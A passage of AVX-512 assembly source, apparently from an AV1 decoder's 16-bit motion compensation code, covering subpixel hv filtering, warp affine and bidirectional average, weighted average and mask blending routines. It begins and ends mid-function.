vpbroadcastd m8, [tmpq+ 4]
vpbroadcastd m9, [tmpq+ 8]
vpbroadcastd ym12, xmm1
vpbroadcastd ym13, [tmpq+20]
vpbroadcastd ym14, [tmpq+24]
vpbroadcastd ym15, [tmpq+28]
movu xm4, [srcq+strideq*0]
vinserti32x4 ym4, [srcq+strideq*1], 1
vinserti32x4 m4, [srcq+strideq*2], 2
add srcq, r6
vinserti32x4 m4, [srcq+strideq*0], 3 ; 0 1 2 3
movu xm0, [srcq+strideq*1]
vinserti32x4 ym0, [srcq+strideq*2], 1
add srcq, r6
vinserti32x4 m0, [srcq+strideq*0], 2 ; 4 5 6
vbroadcasti32x4 m19, [spel_h_shufA]
vbroadcasti32x4 m20, [spel_h_shufB]
mova ym6, [spel_shuf4a]
mova ym7, [spel_shuf4b]
mova m2, m10
mova m3, m10
pshufb m1, m4, m19
vpdpwssd m2, m8, m1
pshufb m1, m0, m19
vpdpwssd m3, m8, m1
pshufb m4, m20
vpdpwssd m2, m9, m4
pshufb m0, m20
vpdpwssd m3, m9, m0
vpermb m1, m6, m2 ; 01 12
vshufi32x4 m2, m3, q1032
vpermb m3, m6, m3 ; 45 56
vpermb m2, m6, m2 ; 23 34
.hv_w4_loop:
movu xm18, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
vinserti128 ym18, [srcq+strideq*0], 1
mova ym16, ym11
mova ym4, ym10
pshufb ym17, ym18, ym19
vpdpwssd ym16, ym12, ym1 ; a0 b0
vpdpwssd ym4, ym8, ym17
pshufb ym18, ym20
mova ym1, ym2
vpdpwssd ym16, ym13, ym2 ; a1 b1
vpdpwssd ym4, ym9, ym18 ; 7 8
mova ym2, ym3
vpdpwssd ym16, ym14, ym3 ; a2 b2
vpermt2b ym3, ym7, ym4 ; 67 78
vpdpwssd ym16, ym15, ym3 ; a3 b3
vpermb ym16, ym21, ym16
mova [tmpq], xm16
add tmpq, 16
sub hd, 2
jg .hv_w4_loop
vzeroupper
RET
.hv_w8:
shr mxd, 16
pmovsxbw xmm0, [base+subpel_filters+mxq*8]
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
mov r5d, r7m
pmovsxbw xmm1, [base+subpel_filters+myq*8]
lea r6, [strideq*3]
sub srcq, 6
shr r5d, 11
sub srcq, r6
vpbroadcastd m10, [prep_8tap_rnd]
vpbroadcastd m11, [pd_128]
psllw xmm0, [base+prep_hv_shift+r5*8]
psllw xmm1, 2
mova [tmpq+ 0], xmm0
mova [tmpq+16], xmm1
vpbroadcastd m12, xmm0
vpbroadcastd m13, [tmpq+ 4]
vpbroadcastd m14, [tmpq+ 8]
vpbroadcastd m15, [tmpq+12]
vpbroadcastd m16, xmm1
vpbroadcastd m17, [tmpq+20]
vpbroadcastd m18, [tmpq+24]
vpbroadcastd m19, [tmpq+28]
cmp wd, 16
je .hv_w16
jg .hv_w32
WIN64_SPILL_XMM 23
mova m5, [spel_h_shufA]
movu ym0, [srcq+strideq*0]
vinserti32x8 m0, [srcq+strideq*1], 1 ; 0 1
movu ym9, [srcq+strideq*2]
add srcq, r6
vinserti32x8 m9, [srcq+strideq*0], 1 ; 2 3
movu ym20, [srcq+strideq*1]
vinserti32x8 m20, [srcq+strideq*2], 1 ; 4 5
add srcq, r6
movu ym21, [srcq+strideq*0] ; 6
movu m6, [spel_h_shufB]
movu m7, [spel_h_shufC]
mova ym22, [prep_endB]
vpermb m8, m5, m0
mova m1, m10
vpdpwssd m1, m12, m8 ; a0 b0
vpermb m8, m5, m9
mova m2, m10
vpdpwssd m2, m12, m8 ; c0 d0
vpermb m8, m5, m20
mova m3, m10
vpdpwssd m3, m12, m8 ; e0 f0
vpermb m8, m5, m21
mova m4, m10
vpdpwssd m4, m12, m8 ; g0
vpermb m8, m6, m0
vpdpwssd m1, m13, m8 ; a1 b1
vpermb m8, m6, m9
vpdpwssd m2, m13, m8 ; c1 d1
vpermb m8, m6, m20
vpdpwssd m3, m13, m8 ; e1 f1
vpermb m8, m6, m21
vpdpwssd m4, m13, m8 ; g1
vpermb m8, m7, m0
vpdpwssd m1, m14, m8 ; a2 b2
vpermb m8, m7, m9
vpdpwssd m2, m14, m8 ; c2 d2
vpermb m8, m7, m20
vpdpwssd m3, m14, m8 ; e2 f2
vpermb m8, m7, m21
vpdpwssd m4, m14, m8 ; g2
mova m8, [spel_h_shufD]
vpermb m0, m8, m0
vpdpwssd m1, m15, m0 ; a3 b3
mova m0, [spel_shuf8a]
vpermb m9, m8, m9
vpdpwssd m2, m15, m9 ; c3 d3
mova m9, [spel_shuf8b]
vpermb m20, m8, m20
vpdpwssd m3, m15, m20 ; e3 f3
vpermb m21, m8, m21
vpdpwssd m4, m15, m21 ; g3
vpermt2b m1, m0, m2 ; 01 12
vpermt2b m2, m0, m3 ; 23 34
vpermt2b m3, m0, m4 ; 45 56
.hv_w8_loop:
movu ym0, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
vinserti32x8 m0, [srcq+strideq*0], 1
mova m4, m10
mova m20, m11
vpermb m21, m5, m0
vpdpwssd m4, m12, m21 ; h0 i0
vpermb m21, m6, m0
vpdpwssd m20, m16, m1 ; A0 B0
vpdpwssd m4, m13, m21 ; h1 i1
vpermb m21, m7, m0
mova m1, m2
vpdpwssd m20, m17, m2 ; A1 B1
vpdpwssd m4, m14, m21 ; h2 i2
vpermb m21, m8, m0
mova m2, m3
vpdpwssd m20, m18, m3 ; A2 B2
vpdpwssd m4, m15, m21 ; h3 i3
vpermt2b m3, m9, m4 ; 67 78
vpdpwssd m20, m19, m3 ; A3 B3
vpermb m20, m22, m20
mova [tmpq], ym20
add tmpq, 32
sub hd, 2
jg .hv_w8_loop
RET
.hv_w16:
%assign stack_offset stack_offset - stack_size_padded
WIN64_SPILL_XMM 27
vbroadcasti32x8 m5, [srcq+strideq*0+ 8]
vinserti32x8 m4, m5, [srcq+strideq*0+ 0], 0
vinserti32x8 m5, [srcq+strideq*0+16], 1 ; 0
movu ym6, [srcq+strideq*1+ 0]
movu ym7, [srcq+strideq*1+16]
vinserti32x8 m6, [srcq+strideq*2+ 0], 1
vinserti32x8 m7, [srcq+strideq*2+16], 1 ; 1 2
add srcq, r6
movu ym22, [srcq+strideq*0+ 0]
movu ym23, [srcq+strideq*0+16]
vinserti32x8 m22, [srcq+strideq*1+ 0], 1
vinserti32x8 m23, [srcq+strideq*1+16], 1 ; 3 4
movu ym24, [srcq+strideq*2+ 0]
movu ym25, [srcq+strideq*2+16]
add srcq, r6
vinserti32x8 m24, [srcq+strideq*0+ 0], 1
vinserti32x8 m25, [srcq+strideq*0+16], 1 ; 5 6
vbroadcasti32x4 m20, [spel_h_shufA]
vbroadcasti32x4 m21, [spel_h_shufB]
mova m9, [spel_shuf16]
mova m26, [prep_endB]
pshufb m0, m4, m20
mova m1, m10
vpdpwssd m1, m12, m0 ; a0
pshufb m0, m6, m20
mova m2, m10
vpdpwssd m2, m12, m0 ; b0
pshufb m0, m7, m20
mova m3, m10
vpdpwssd m3, m14, m0 ; c2
pshufb m0, m4, m21
vpdpwssd m1, m13, m0 ; a1
pshufb m0, m6, m21
vpdpwssd m2, m13, m0 ; b1
pshufb m0, m7, m21
vpdpwssd m3, m15, m0 ; c3
pshufb m0, m5, m20
vpdpwssd m1, m14, m0 ; a2
shufpd m6, m7, 0x55
pshufb m7, m6, m20
vpdpwssd m2, m14, m7 ; b2
vpdpwssd m3, m12, m7 ; c0
pshufb m5, m21
vpdpwssd m1, m15, m5 ; a3
pshufb m6, m21
vpdpwssd m2, m15, m6 ; b3
vpdpwssd m3, m13, m6 ; c1
pshufb m0, m22, m20
mova m4, m10
vpdpwssd m4, m12, m0 ; d0
pshufb m0, m23, m20
mova m5, m10
vpdpwssd m5, m14, m0 ; e2
pshufb m0, m24, m20
mova m6, m10
vpdpwssd m6, m12, m0 ; f0
pshufb m0, m25, m20
mova m7, m10
vpdpwssd m7, m14, m0 ; g2
pshufb m0, m22, m21
vpdpwssd m4, m13, m0 ; d1
pshufb m0, m23, m21
vpdpwssd m5, m15, m0 ; e3
pshufb m0, m24, m21
vpdpwssd m6, m13, m0 ; f1
pshufb m0, m25, m21
vpdpwssd m7, m15, m0 ; g3
shufpd m22, m23, 0x55
pshufb m23, m22, m20
vpdpwssd m4, m14, m23 ; d2
vpdpwssd m5, m12, m23 ; e0
shufpd m24, m25, 0x55
pshufb m25, m24, m20
vpdpwssd m6, m14, m25 ; f2
vpdpwssd m7, m12, m25 ; g0
pshufb m22, m21
vpdpwssd m4, m15, m22 ; d3
vpdpwssd m5, m13, m22 ; e1
pshufb m24, m21
vpdpwssd m6, m15, m24 ; f3
vpdpwssd m7, m13, m24 ; g1
pslldq m1, 1
vpermt2b m2, m9, m3 ; 12
vpermt2b m4, m9, m5 ; 34
vpermt2b m6, m9, m7 ; 56
vpshrdd m1, m2, 16 ; 01
vpshrdd m3, m2, m4, 16 ; 23
vpshrdd m5, m4, m6, 16 ; 45
.hv_w16_loop:
movu ym24, [srcq+strideq*1+ 0]
movu ym25, [srcq+strideq*1+16]
lea srcq, [srcq+strideq*2]
vinserti32x8 m24, [srcq+strideq*0+ 0], 1
vinserti32x8 m25, [srcq+strideq*0+16], 1
mova m7, m10
mova m8, m10
pshufb m0, m24, m20
vpdpwssd m7, m12, m0 ; h0
mova m22, m11
pshufb m0, m25, m20
vpdpwssd m8, m14, m0 ; i2
mova m23, m11
vpdpwssd m22, m16, m1 ; A0
mova m1, m3
vpdpwssd m23, m16, m2 ; B0
mova m2, m4
pshufb m0, m24, m21
vpdpwssd m7, m13, m0 ; h1
pshufb m0, m25, m21
vpdpwssd m8, m15, m0 ; i3
vpdpwssd m22, m17, m3 ; A1
mova m3, m5
vpdpwssd m23, m17, m4 ; B1
mova m4, m6
shufpd m24, m25, 0x55
pshufb m25, m24, m20
vpdpwssd m7, m14, m25 ; h2
vpdpwssd m8, m12, m25 ; i0
vpdpwssd m22, m18, m5 ; A2
vpdpwssd m23, m18, m6 ; B2
pshufb m24, m21
vpdpwssd m7, m15, m24 ; h3
vpdpwssd m8, m13, m24 ; i1
vpermt2b m7, m9, m8 ; 78
vpshrdd m5, m6, m7, 16 ; 67
vpdpwssd m22, m19, m5 ; A3
vpdpwssd m23, m19, m7 ; B3
mova m6, m7
vpermt2b m22, m26, m23
mova [tmpq], m22
add tmpq, 64
sub hd, 2
jg .hv_w16_loop
RET
.hv_w32:
%if WIN64
%assign stack_offset stack_offset - stack_size_padded
PUSH r8
%assign regs_used regs_used + 1
WIN64_SPILL_XMM 32
%endif
vbroadcasti32x4 m20, [spel_h_shufA]
vbroadcasti32x4 m21, [spel_h_shufB]
mova m22, [spel_shuf32]
lea r5d, [hq+wq*8-256]
mov r7, srcq
mov r8, tmpq
.hv_w32_loop0:
movu m6, [srcq+strideq*0+ 0]
movu m7, [srcq+strideq*0+ 8]
movu m8, [srcq+strideq*0+16]
mova m0, m10
mova m23, m10
pshufb m9, m6, m20
vpdpwssd m0, m12, m9 ; a0l
pshufb m9, m7, m20
vpdpwssd m23, m12, m9 ; a0h
vpdpwssd m0, m14, m9 ; a2l
pshufb m7, m21
vpdpwssd m23, m13, m7 ; a1h
vpdpwssd m0, m15, m7 ; a3l
pshufb m7, m8, m20
vpdpwssd m23, m14, m7 ; a2h
pshufb m6, m21
vpdpwssd m0, m13, m6 ; a1l
pshufb m8, m21
vpdpwssd m23, m15, m8 ; a3h
PUT_8TAP_HV_W32 1, 24, strideq, 1, 2 ; 12
PUT_8TAP_HV_W32 3, 26, strideq, 0, 1 ; 34
PUT_8TAP_HV_W32 5, 28, strideq, 2, 0 ; 56
vpshrdd m2, m1, m3, 16 ; 23l
vpshrdd m25, m24, m26, 16 ; 23h
vpshrdd m4, m3, m5, 16 ; 45l
vpshrdd m27, m26, m28, 16 ; 45h
.hv_w32_loop:
movu m7, [srcq+strideq*1+ 0]
movu m9, [srcq+strideq*2+ 0]
movu m6, [srcq+strideq*1+ 8]
movu m8, [srcq+strideq*2+ 8]
mova m29, m10
mova m31, m10
pshufb m30, m7, m20
vpdpwssd m29, m12, m30 ; h0l
pshufb m30, m9, m20
vpdpwssd m31, m12, m30 ; i0l
pshufb m7, m21
vpdpwssd m29, m13, m7 ; h1l
pshufb m9, m21
vpdpwssd m31, m13, m9 ; i1l
pshufb m7, m6, m20
vpdpwssd m29, m14, m7 ; h2l
pshufb m9, m8, m20
vpdpwssd m31, m14, m9 ; i2l
pshufb m6, m21
vpdpwssd m29, m15, m6 ; h3l
pshufb m8, m21
vpdpwssd m31, m15, m8 ; i3l
mova m30, m10
vpdpwssd m30, m12, m7 ; h0h
movu m7, [srcq+strideq*1+16]
lea srcq, [srcq+strideq*2]
vpermt2b m29, m22, m31 ; 78l
mova m31, m10
vpdpwssd m31, m12, m9 ; i0h
movu m9, [srcq+strideq*0+16]
vpdpwssd m30, m13, m6 ; h1h
pshufb m6, m7, m20
vpdpwssd m31, m13, m8 ; i1h
pshufb m8, m9, m20
vpdpwssd m30, m14, m6 ; h2h
mova m6, m11
vpdpwssd m6, m16, m0 ; A0l
pshufb m7, m21
vpdpwssd m31, m14, m8 ; i2h
mova m8, m11
vpdpwssd m8, m16, m23 ; A0h
pshufb m9, m21
vpdpwssd m30, m15, m7 ; h3h
mova m7, m11
vpdpwssd m7, m16, m1 ; B0l
vpdpwssd m31, m15, m9 ; i3h
mova m9, m11
vpdpwssd m9, m16, m24 ; B0h
mova m0, m2
vpdpwssd m6, m17, m2 ; A1l
mova m23, m25
vpdpwssd m8, m17, m25 ; A1h
mova m1, m3
vpdpwssd m7, m17, m3 ; B1l
mova m24, m26
vpdpwssd m9, m17, m26 ; B1h
vpermt2b m30, m22, m31 ; 78h
mova m31, [prep_endC]
vpdpwssd m6, m18, m4 ; A2l
mova m2, m4
vpdpwssd m8, m18, m27 ; A2h
mova m25, m27
vpdpwssd m7, m18, m5 ; B2l
mova m3, m5
vpdpwssd m9, m18, m28 ; B2h
mova m26, m28
vpshrdd m4, m5, m29, 16 ; 67l
vpdpwssd m6, m19, m4 ; A3l
vpshrdd m27, m28, m30, 16 ; 67h
vpdpwssd m8, m19, m27 ; A3h
mova m5, m29
vpdpwssd m7, m19, m29 ; B3l
mova m28, m30
vpdpwssd m9, m19, m30 ; B3h
vpermt2b m6, m31, m8
vpermt2b m7, m31, m9
mova [tmpq+wq*0], m6
mova [tmpq+wq*2], m7
lea tmpq, [tmpq+wq*4]
sub hd, 2
jg .hv_w32_loop
add r7, 64
add r8, 64
movzx hd, r5b
mov srcq, r7
mov tmpq, r8
sub r5d, 1<<8
jg .hv_w32_loop0
RET
%if WIN64
DECLARE_REG_TMP 5
%else
DECLARE_REG_TMP 7
%endif
cglobal warp_affine_8x8t_16bpc, 4, 7, 22, tmp, ts
%define base r6-pd_0to7
mov t0d, r7m
lea r6, [pd_0to7]
shr t0d, 11
vpbroadcastd m8, [base+warp_8x8t_rnd_v]
vpbroadcastd m1, [base+warp_8x8_rnd_h+t0*4]
call mangle(private_prefix %+ _warp_affine_8x8_16bpc_avx512icl).main
psrad m14, m16, 15
call mangle(private_prefix %+ _warp_affine_8x8_16bpc_avx512icl).main2
psrad m16, 15
packssdw m14, m16
call mangle(private_prefix %+ _warp_affine_8x8_16bpc_avx512icl).main2
psrad m15, m16, 15
call mangle(private_prefix %+ _warp_affine_8x8_16bpc_avx512icl).main2
add tsq, tsq
psrad m16, 15
packssdw m15, m16
jmp mangle(private_prefix %+ _warp_affine_8x8_16bpc_avx512icl).end
cglobal warp_affine_8x8_16bpc, 4, 7, 22, dst, ds, src, ss, abcd
mov t0d, r7m ; pixel_max
lea r6, [pd_0to7]
shr t0d, 11
vpbroadcastd m1, [base+warp_8x8_rnd_h+t0*4]
vpbroadcastd m8, [base+warp_8x8_rnd_v+t0*4]
call .main
psrad m14, m16, 13
call .main2
psrad m16, 13
packusdw m14, m16
call .main2
psrad m15, m16, 13
call .main2
vpbroadcastd m0, [base+bidir_shift+t0*4]
vpsrlvw m14, m0
psrad m16, 13
packusdw m15, m16
vpsrlvw m15, m0
.end:
mova m0, [base+warp8x8_end]
vpermb m16, m0, m14
lea r2, [dsq*3]
mova [dstq+dsq*0], xm16
vextracti128 [dstq+dsq*1], ym16, 1
vextracti32x4 [dstq+dsq*2], m16, 2
vextracti32x4 [dstq+r2 ], m16, 3
vpermb m16, m0, m15
lea dstq, [dstq+dsq*4]
mova [dstq+dsq*0], xm16
vextracti128 [dstq+dsq*1], ym16, 1
vextracti32x4 [dstq+dsq*2], m16, 2
vextracti32x4 [dstq+r2 ], m16, 3
RET
.main:
vpbroadcastd ym3, [base+pd_512]
%if WIN64
mov abcdq, r5mp
vpaddd ym18, ym3, r6m {1to8} ; mx
%else
add r5d, 512
vpbroadcastd ym18, r5d
%endif
vpaddd ym20, ym3, r7m {1to8} ; my
mova ym16, [base+pd_0to7]
vpbroadcastd ym19, [abcdq+4*0] ; alpha
vpbroadcastd ym21, [abcdq+4*1] ; gamma
lea r4, [ssq*3+6]
vpdpwssd ym18, ym19, ym16 ; tmx
vpdpwssd ym20, ym21, ym16 ; tmy
sub srcq, r4
mova m10, [base+warp8x8_permA]
lea r4, [mc_warp_filter+64*8]
vbroadcasti32x4 m12, [base+warp8x8_permC]
kxnorb k1, k1, k1
vbroadcasti32x4 m13, [base+warp8x8_permD]
movu ym5, [srcq+0]
vinserti32x8 m5, [srcq+8], 1
psrad ym17, ym18, 10
mova m11, [base+warp8x8_permB]
kmovb k2, k1
vpgatherdq m3{k1}, [r4+ym17*8] ; filter_x0
psrad ym19, 16 ; beta
psrad ym21, 16 ; delta
paddd ym18, ym19
vpermb m4, m10, m5
vpbroadcastq m9, [base+warp_shift_h+t0*8]
pshufd m3, m3, q3120
paddd m7, m1, m1
pshufb m2, m3, m12
vpdpwssd m1, m4, m2
vpermb m5, m11, m5
vshufi32x4 m4, m5, q1021
pshufb m3, m13
vpdpwssd m1, m4, m3
call .h
psllq m2, m1, 32
paddd m1, m2
vpmultishiftqb m1, m9, m1
vpshrdq m1, m0, 48 ; 01 12
call .h
vpshrdq m2, m1, m0, 48 ; 23 34
call .h
vpshrdq m3, m2, m0, 48 ; 45 56
.main2:
call .h
psrad ym6, ym20, 10
kmovb k1, k2
paddd ym17, ym20, ym21 ; my += delta
vpgatherdq m20{k2}, [r4+ym6*8] ; filter_y0
psrad ym16, ym17, 10
kmovb k2, k1
vpgatherdq m6{k1}, [r4+ym16*8] ; filter_y1
shufps m5, m20, m6, q2020
mova m16, m8
pshufb m4, m5, m12
vpdpwssd m16, m1, m4 ; a0 b0
pshufb m5, m13
mova m1, m2
vpdpwssd m16, m2, m5 ; a1 b1
shufps m6, m20, m6, q3131
paddd ym20, ym17, ym21
pshufb m4, m6, m12
mova m2, m3
vpdpwssd m16, m3, m4 ; a2 b2
vpshrdq m3, m0, 48 ; 67 78
pshufb m6, m13
vpdpwssd m16, m3, m6 ; a3 b3
ret
ALIGN function_align
.h:
movu ym16, [srcq+ssq*1]
psrad ym6, ym18, 10
lea srcq, [srcq+ssq*2]
vinserti32x8 m5, m16, [srcq+ssq*0], 1
kmovb k1, k2
paddd ym17, ym18, ym19 ; mx += beta
vpgatherdq m18{k2}, [r4+ym6*8] ; filter_x1
psrad ym16, ym17, 10
kmovb k2, k1
vpgatherdq m6{k1}, [r4+ym16*8] ; filter_x2
vpermb m4, m10, m5
shufps m16, m18, m6, q2020
shufps m6, m18, m6, q3131
mova m0, m7
pshufb m18, m16, m12
vpdpwssd m0, m4, m18 ; a0 b0
vpermb m5, m11, m5
pshufb m18, m6, m13
vpdpwssd m0, m5, m18 ; a3 b3
paddd ym18, ym17, ym19
vshufi32x4 m17, m4, m5, q1021
pshufb m16, m13
vpdpwssd m0, m17, m16 ; a1 b1
vshufi32x4 m4, m5, q2132
pshufb m6, m12
vpdpwssd m0, m4, m6 ; a2 b2
vpmultishiftqb m0, m9, m0 ; a a b b
ret
%macro BIDIR_FN 0
call .main
lea stride3q, [strideq*3]
jmp wq
.w4:
movq [dstq ], xm0
movhps [dstq+strideq*1], xm0
vextracti32x4 xmm0, ym0, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
cmp hd, 8
jl .w4_end
vextracti32x4 xmm0, m0, 2
lea dstq, [dstq+strideq*4]
movq [dstq ], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m0, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
je .w4_end
lea dstq, [dstq+strideq*4]
movq [dstq ], xm1
movhps [dstq+strideq*1], xm1
vextracti32x4 xmm0, ym1, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
vextracti32x4 xmm0, m1, 2
lea dstq, [dstq+strideq*4]
movq [dstq ], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m1, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
.w4_end:
RET
.w8_loop:
call .main
lea dstq, [dstq+strideq*4]
.w8:
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
vextracti32x4 [dstq+stride3q ], m0, 3
sub hd, 8
jl .w8_end
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], xm1
vextracti32x4 [dstq+strideq*1], ym1, 1
vextracti32x4 [dstq+strideq*2], m1, 2
vextracti32x4 [dstq+stride3q ], m1, 3
jg .w8_loop
.w8_end:
RET
.w16_loop:
call .main
lea dstq, [dstq+strideq*4]
.w16:
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
mova [dstq+strideq*2], ym1
vextracti32x8 [dstq+stride3q ], m1, 1
sub hd, 4
jg .w16_loop
RET
.w32_loop:
call .main
lea dstq, [dstq+strideq*2]
.w32:
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
sub hd, 2
jg .w32_loop
RET
.w64_loop:
call .main
add dstq, strideq
.w64:
mova [dstq+64*0], m0
mova [dstq+64*1], m1
dec hd
jg .w64_loop
RET
.w128_loop:
call .main
add dstq, strideq
.w128:
mova [dstq+64*0], m0
mova [dstq+64*1], m1
call .main
mova [dstq+64*2], m0
mova [dstq+64*3], m1
dec hd
jg .w128_loop
RET
%endmacro
%if WIN64
DECLARE_REG_TMP 5
%else
DECLARE_REG_TMP 7
%endif
cglobal avg_16bpc, 4, 7, 4, dst, stride, tmp1, tmp2, w, h, stride3
%define base r6-avg_avx512icl_table
lea r6, [avg_avx512icl_table]
tzcnt wd, wm
mov t0d, r6m ; pixel_max
movsxd wq, [r6+wq*4]
shr t0d, 11
vpbroadcastd m2, [base+avg_round+t0*4]
vpbroadcastd m3, [base+avg_shift+t0*4]
movifnidn hd, hm
add wq, r6
BIDIR_FN
ALIGN function_align
.main:
mova m0, [tmp1q+64*0]
paddsw m0, [tmp2q+64*0]
mova m1, [tmp1q+64*1]
paddsw m1, [tmp2q+64*1]
add tmp1q, 64*2
add tmp2q, 64*2
pmaxsw m0, m2
pmaxsw m1, m2
psubsw m0, m2
psubsw m1, m2
vpsrlvw m0, m3
vpsrlvw m1, m3
ret
cglobal w_avg_16bpc, 4, 7, 8, dst, stride, tmp1, tmp2, w, h, stride3
%define base r6-w_avg_avx512icl_table
lea r6, [w_avg_avx512icl_table]
tzcnt wd, wm
mov t0d, r7m ; pixel_max
shr t0d, 11
movsxd wq, [r6+wq*4]
vpbroadcastd m5, [base+w_avg_round+t0*4]
vpbroadcastd m7, [base+bidir_shift+t0*4]
add wq, r6
mov r6d, r6m ; weight
lea t0d, [r6-16]
shl r6d, 16
sub r6d, t0d ; 16-weight, weight
movifnidn hd, hm
vpbroadcastd m6, r6d
BIDIR_FN
ALIGN function_align
.main:
mova m3, [tmp1q+64*0]
mova m1, [tmp2q+64*0]
mova m0, [tmp1q+64*1]
mova m4, [tmp2q+64*1]
add tmp1q, 64*2
add tmp2q, 64*2
punpcklwd m2, m1, m3
punpckhwd m1, m3
punpcklwd m3, m4, m0
punpckhwd m4, m0
mova m0, m5
vpdpwssd m0, m6, m2
mova m2, m5
vpdpwssd m2, m6, m1
mova m1, m5
vpdpwssd m1, m6, m3
mova m3, m5
vpdpwssd m3, m6, m4
REPX {psrad x, 2}, m0, m2, m1, m3
packusdw m0, m2
packusdw m1, m3
vpsrlvw m0, m7
vpsrlvw m1, m7
ret
cglobal mask_16bpc, 4, 8, 11, dst, stride, tmp1, tmp2, w, h, mask, stride3
%define base r7-mask_avx512icl_table
lea r7, [mask_avx512icl_table]
tzcnt wd, wm
mov r6d, r7m ; pixel_max
movifnidn hd, hm
shr r6d, 11
movsxd wq, [r7+wq*4]
vpbroadcastd m8, [base+pw_64]
vpbroadcastd m9, [base+mask_round+r6*4]
vpbroadcastd m10, [base+bidir_shift+r6*4]
mov maskq, maskmp
add wq, r7
BIDIR_FN
ALIGN function_align
.main:
pmovzxbw m1, [maskq+32*0]
mova m4, [tmp1q+64*0]
mova m2, [tmp2q+64*0]
pmovzxbw m6, [maskq+32*1]
mova m5, [tmp1q+64*1]
mova m3, [tmp2q+64*1]
add maskq, 32*2
add tmp1q, 64*2
add tmp2q, 64*2
punpcklwd m7, m4, m2
punpckhwd m4, m2
psubw m0, m8, m1
punpcklwd m2, m1, m0 ; m, 64-m
punpckhwd m1, m0
mova m0, m9
vpdpwssd m0, m7, m2
mova m2, m9
vpdpwssd m2, m4, m1 ; tmp1 * m + tmp2 * (64-m)
punpcklwd m7, m5, m3
punpckhwd m5, m3
psubw m1, m8, m6
punpcklwd m3, m6, m1
punpckhwd m6, m1
mova m1, m9
vpdpwssd m1, m7, m3
mova m3, m9
vpdpwssd m3, m5, m6
REPX {psrad x, 4}, m0, m2, m1, m3
packusdw m0, m2
packusdw m1, m3
vpsrlvw m0, m10
vpsrlvw m1, m10
ret
cglobal w_mask_420_16bpc, 4, 8, 16, dst, stride, tmp1, tmp2, w, h, mask, stride3
%define base r7-w_mask_420_avx512icl_table
lea r7, [w_mask_420_avx512icl_table]
tzcnt wd, wm
mov r6d, r8m ; pixel_max
movifnidn hd, hm
shr r6d, 11
movsxd wq, [r7+wq*4]
vpbroadcastd m10, [base+pw_27615] ; ((64 - 38) << 10) + 1023 - 32
vpbroadcastd m11, [base+pw_64]
vpbroadcastd m12, [base+mask_round+r6*4]
vpbroadcastd m13, [base+bidir_shift+r6*4]
mov r6d, r7m ; sign
vpbroadcastd m14, [base+w_mask_round+r6*4]
mova ym15, [w_mask_end42x]
mov maskq, maskmp
add wq, r7
call .main
lea stride3q, [strideq*3]
jmp wq
.w4:
mova m4, [w_mask_shuf4]
vpermt2b m2, m4, m3
mova m3, m14
vpdpbusd m3, m2, [pb_64] {1to16}
vpermb m3, m15, m3
movq [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xm0
vextracti32x4 xmm0, ym0, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
mova [maskq], xm3
cmp hd, 8
jl .w4_end
vextracti32x4 xmm0, m0, 2
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m0, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
je .w4_end
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xm1
movhps [dstq+strideq*1], xm1
vextracti32x4 xmm0, ym1, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
vextracti32x4 xmm0, m1, 2
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m1, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
.w4_end:
RET
.w8:
mova m8, [w_mask_shuf8]
vpbroadcastd m9, [pb_64]
jmp .w8_start
.w8_loop:
call .main
lea dstq, [dstq+strideq*4]
add maskq, 16
.w8_start:
vpermt2b m2, m8, m3
mova m3, m14
vpdpbusd m3, m2, m9
vpermb m3, m15, m3
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
vextracti32x4 [dstq+stride3q ], m0, 3
mova [maskq], xm3
sub hd, 8
jl .w8_end
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], xm1
vextracti32x4 [dstq+strideq*1], ym1, 1
vextracti32x4 [dstq+strideq*2], m1, 2
vextracti32x4 [dstq+stride3q ], m1, 3
jg .w8_loop
.w8_end:
RET
.w16:
mova m8, [w_mask_shuf16]
vpbroadcastd m9, [pb_64]
jmp .w16_start
.w16_loop:
call .main
lea dstq, [dstq+strideq*4]
add maskq, 16
.w16_start:
vpermt2b m2, m8, m3
mova m3, m14
vpdpbusd m3, m2, m9
vpermb m3, m15, m3
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
mova [dstq+strideq*2], ym1
vextracti32x8 [dstq+stride3q ], m1, 1
mova [maskq], xm3
sub hd, 4
jg .w16_loop
RET
.w32_loop:
call .main
lea dstq, [dstq+strideq*4]
add maskq, 32
.w32:
paddw m2, m3
mova m8, m14
vpdpwssd m8, m11, m2
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
call .main
paddw m2, m3
mova m3, m14
vpdpwssd m3, m11, m2
vpermt2b m8, m15, m3
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m1
mova [maskq], ym8
sub hd, 4
jg .w32_loop
RET
.w64_loop:
call .main
lea dstq, [dstq+strideq*2]
add maskq, 32
.w64:
mova m8, m2
mova m9, m3
mova [dstq+strideq*0+64*0], m0
mova [dstq+strideq*0+64*1], m1
call .main
